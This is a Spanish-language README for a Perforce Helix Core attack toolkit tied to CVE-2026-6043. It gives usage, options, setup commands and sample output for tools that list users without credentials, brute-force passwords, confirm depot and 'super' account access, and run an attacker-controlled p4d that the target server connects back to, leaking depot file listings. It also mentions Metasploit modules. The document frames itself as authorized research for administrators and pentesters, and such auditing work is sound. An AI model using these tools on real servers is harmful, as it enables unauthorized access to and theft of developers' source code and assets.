
Investigación y herramientas de seguridad de Perforce - CVE-2026-6043
Herramientas de investigación de seguridad de Perforce (Helix Core) y plantillas de nuclei.
Artículo de investigación: https://morganrobertson.net/p4wned/
Lea el artículo para obtener todos los detalles.
Solo para objetivos autorizados. Úselo en sus propios servidores o con permiso explícito por escrito.
Público objetivo: Administradores de servidores Perforce, testers de penetración, ingenieros de seguridad
Actualización de mayo de 2026: Perforce 2026.1 ha sido lanzado. ¡Esta versión viene con valores predeterminados seguros! Muy contento de ver esto publicado para proteger la propiedad intelectual de los desarrolladores. Lea más aquí.
Nota: Estas herramientas escanean las configuraciones incorrectas resultantes de CVE-2026-6043.
| Herramienta | Requiere |
|---|---|
p4wned.py | Python 3, binario de CLI p4 (ver abajo) |
p4ghost.py | Python 3, binario de CLI p4, instancia local de p4d (ver configuración abajo) |
p4-auth-hammer | g++, API C++ de Perforce, OpenSSL 1.1.1 (ver p4-auth-hammer/README.md) |
| Herramientas JavaScript | Node.js (sin dependencias externas) |
| Plantillas Nuclei | Nuclei v3+ |
| Módulos Metasploit | Metasploit Framework |
Obtención del binario p4 (requerido por p4wned.py y p4ghost.py):
# Sujeto a los términos de uso de Perforce: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4
Los servidores Perforce exponen un protocolo TCP binario personalizado (puerto predeterminado 1666). Muchas instalaciones vienen con configuraciones inseguras por defecto: listado de usuarios sin autenticación, divulgación de información del servidor, depósitos remotos accesibles, ausencia de requisitos de contraseña y sin limitación de velocidad en los intentos de inicio de sesión. Todas las herramientas aquí explotan estas configuraciones predeterminadas sin requerir credenciales.
El escáner principal. Utiliza el binario de CLI p4 para enumerar usuarios, probar credenciales, listar depósitos y generar un informe.
python3 p4wned.py [-brute] [-audit] [-parallel N]
Opciones:
| Bandera | Descripción |
|---|---|
-brute | Habilita el modo de fuerza bruta: prueba contraseñas contra todas las cuentas de usuario descubiertas |
-audit | Modo de auditoría exhaustiva: continúa probando todos los usuarios incluso después de encontrar una vulnerabilidad |
-parallel N | Número de intentos de contraseña en paralelo (predeterminado: 1) |
Configuración (editar al inicio del script):
| Variable | Descripción |
|---|---|
INPUT_FILE | Lista de objetivos (ip:puerto, uno por línea) — predeterminado perforce-servers.txt |
P4_CMD | Ruta al binario p4 — predeterminado ./p4 |
TOP_PASSWORDS_FILE | Lista de palabras para fuerza bruta — predeterminado top-passwords.txt |
KNOWN_CREDS_FILE | Pares de credenciales conocidas para probar primero |
REPORT_FILE | Ruta del informe de salida |
Lo que hace:
run.users.authorize=0)super en cuentas comprometidasSalida de consola:
$ python3 p4wned.py
___ _ _ __ __ __ __ ___
/ _ \ || |/ / /\ \ \/\ \ \/__\/ \
/ /_)/ || |\ \/ \/ / \/ /_\ / /\ /
/ ___/|__ _\ /\ / /\ //__/ /_//
\/ |_| \/ \/\_\ \/\__/___,'
P4WNED - 0wning P4 servers via shit security defaults since Y2K+25
· Detecta cuentas de usuario, contraseñas en blanco, credenciales débiles y configuraciones tontas.
· Confirma el acceso a depósitos y esas jugosas cuentas de usuario "super".
· Genera un informe ordenado para que puedas arreglar el desastre antes de que lleguen los Skids
Solo para objetivos autorizados, brotendo. Úselo en sus propios servidores o bajo su propio riesgo.
==============================================================================
=== Procesando: 192.0.2.10:1666 (perforce.example-studio.com) ===
[INFO] Probando usuario 'super' por problemas de seguridad...
[INFO] El usuario 'super' no existe.
[INFO] Listado de usuarios accesible: build, designer1, jsmith, lead_prog, svc_build
[INFO] Probando usuario 'build' por problemas de seguridad...
[INFO] Probando usuario 'designer1' por problemas de seguridad...
[INFO] Probando usuario 'jsmith' por problemas de seguridad...
[INFO] Probando usuario 'lead_prog' por problemas de seguridad...
[INFO] Probando usuario 'svc_build' por problemas de seguridad...
[INFO] Se agregó nueva credencial para 192.0.2.10:1666: usuario='svc_build', contraseña='None'
[INFO] Guardando credenciales actualizadas después de encontrar credenciales válidas para svc_build en 192.0.2.10:1666
[INFO] Informe guardado en perforce-report-p4wned-1775436520.txt
Archivo de informe (perforce-report-p4wned-*.txt):
Perforce Security Scan Report
Server: 192.0.2.10:1666 (perforce.example-studio.com)
Status: Insecure
Note: Insecure via user 'svc_build' (no password)
== Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'
== Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01
Merge branch feature/ai-pathfinding
Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02
Updated character rig exports
== Depot Details ==
Depot: depot
-- Root Directories --
//depot/Source
//depot/Content
//depot/Config
This depot is a non-Unreal Engine Depot.
------------------------------------------------------------
Summary Report
Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)
Prueba el acceso no autenticado a depósitos remotos a través del usuario oculto remote. El exploit funciona ejecutando una instancia local de p4d controlada por el atacante; el servidor objetivo se conecta de vuelta a ella como parte del protocolo servidor a servidor, filtrando el listado de archivos del depósito en el proceso.
Configuración (una vez):
# Sujeto a los términos de uso de Perforce: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4
# Iniciar un p4d ASCII simple en el puerto 1818 (usado como servidor del atacante)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d
# Iniciar un p4d unicode en un puerto separado (1819) para objetivos unicode
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi # convertir a modo unicode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
python3 p4ghost.py <archivo_entrada> [-skipnolicense] [-report ARCHIVO] [-p4cmd RUTA]
[-unicodeport PUERTO] [-nonunicodeport PUERTO] [-timeout SEGS]
# Ejemplo de invocación usando los servidores atacantes locales anteriores
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819
Argumentos: